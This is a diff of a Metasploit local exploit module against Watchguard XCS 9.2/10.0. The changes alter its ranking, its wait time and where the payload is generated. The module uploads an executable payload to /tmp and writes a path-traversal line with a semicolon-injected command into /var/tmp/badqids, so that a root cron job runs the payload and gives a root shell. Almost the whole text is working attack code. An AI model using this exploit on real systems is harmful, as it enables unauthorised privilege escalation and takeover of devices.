7
7
require 'msf/core'
8
8
9
9
class Metasploit4 < Msf ::Exploit ::Local
10
- Rank = ExcellentRanking
10
+ # It needs 3 minutes wait time
11
+ # WfsDelay set to 180, so it should be a Manual exploit,
12
+ # to avoid it being included in automations
13
+ Rank = ManualRanking
11
14
12
15
include Msf ::Exploit ::EXE
13
16
include Msf ::Post ::File
@@ -27,68 +30,73 @@ def initialize(info = {})
27
30
'License' => MSF_LICENSE ,
28
31
'References' =>
29
32
[
30
- [ 'URL' , 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf' ]
33
+ [ 'URL' , 'http://security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf' ]
31
34
] ,
32
35
'Platform' => 'bsd' ,
33
36
'Arch' => ARCH_X86_64 ,
34
- 'SessionTypes' => [ 'shell' ] ,
35
- 'Privileged' => false ,
37
+ 'SessionTypes' => [ 'shell' ] ,
38
+ 'Privileged' => true ,
36
39
'Targets' =>
37
40
[
38
41
[ 'Watchguard XCS 9.2/10.0' , { } ]
39
42
] ,
43
+ 'DefaultOptions' => { 'WfsDelay' => 180 } ,
40
44
'DefaultTarget' => 0 ,
41
45
'DisclosureDate' => 'Jun 29 2015'
42
46
) )
43
47
end
44
48
49
+ def setup
50
+ @pl = generate_payload_exe
51
+ if @pl . nil?
52
+ fail_with ( Failure ::BadConfig , 'Please select a native bsd payload' )
53
+ end
54
+
55
+ super
56
+ end
57
+
45
58
def check
46
59
#Basic check to see if the device is a Watchguard XCS
47
60
res = cmd_exec ( 'uname -a' )
48
- return Exploit ::
CheckCode ::
Appears if res =~ / [email protected] /
61
+ return Exploit ::
CheckCode ::
Detected if res && res . include? ( ' [email protected] ' )
49
62
50
63
Exploit ::CheckCode ::Safe
51
64
end
52
65
53
66
def upload_payload
54
- #Generates and uploads the payload to the device
55
67
fname = "/tmp/#{ Rex ::Text . rand_text_alpha ( 5 ) } "
56
- @pl = generate_payload_exe
68
+
57
69
write_file ( fname , @pl )
58
- return nil if not file_exist? ( fname )
70
+ return nil unless file_exist? ( fname )
59
71
cmd_exec ( "chmod +x #{ fname } " )
60
- return fname
72
+
73
+ fname
61
74
end
62
75
63
76
def exploit
64
- print_status ( " Rooting can take up to 3 minutes." )
77
+ print_warning ( ' Rooting can take up to 3 minutes.' )
65
78
66
79
#Generate and upload the payload
67
80
filename = upload_payload
68
- fail_with ( Failure ::NotFound , " Payload failed to upload" ) if filename . nil?
81
+ fail_with ( Failure ::NotFound , ' Payload failed to upload' ) if filename . nil?
69
82
print_status ( "Payload #{ filename } uploaded." )
70
83
71
84
#Sets up empty dummy file needed for privesc
72
85
dummy_filename = "/tmp/#{ Rex ::Text . rand_text_alpha ( 5 ) } "
73
86
cmd_exec ( "touch #{ dummy_filename } " )
74
- vprint_status ( " Added dummy file" )
87
+ vprint_status ( ' Added dummy file' )
75
88
76
89
#Put the shell injection line into badqids
77
90
#setup_privesc = "echo \"../../../../../..#{dummy_filename};#{filename}\" > /var/tmp/badqids"
78
- badqids = write_file ( " /var/tmp/badqids" , "../../../../../..#{ dummy_filename } ;#{ filename } " )
79
- fail_with ( Failure ::NotFound , " Failed to create badqids file to exploit crontab" ) if badqids . nil?
80
- print_status ( " Badqids created, waiting for vulnerable script to be called by crontab..." )
91
+ badqids = write_file ( ' /var/tmp/badqids' , "../../../../../..#{ dummy_filename } ;#{ filename } " )
92
+ fail_with ( Failure ::NotFound , ' Failed to create badqids file to exploit crontab' ) if badqids . nil?
93
+ print_status ( ' Badqids created, waiting for vulnerable script to be called by crontab...' )
81
94
#cmd_exec(setup_privesc)
82
95
83
96
#Cleanup the files we used
84
- register_file_for_cleanup ( " /var/tmp/badqids" )
97
+ register_file_for_cleanup ( ' /var/tmp/badqids' )
85
98
register_file_for_cleanup ( dummy_filename )
86
99
register_file_for_cleanup ( filename )
87
-
88
- #Wait for crontab to run vulnerable script
89
- select ( nil , nil , nil , 180 ) #Wait 3 minutes to ensure cron script is run
90
- print_status ( "Ran out of time, should have root shell by now." )
91
-
92
100
end
93
101
94
102
end
0 commit comments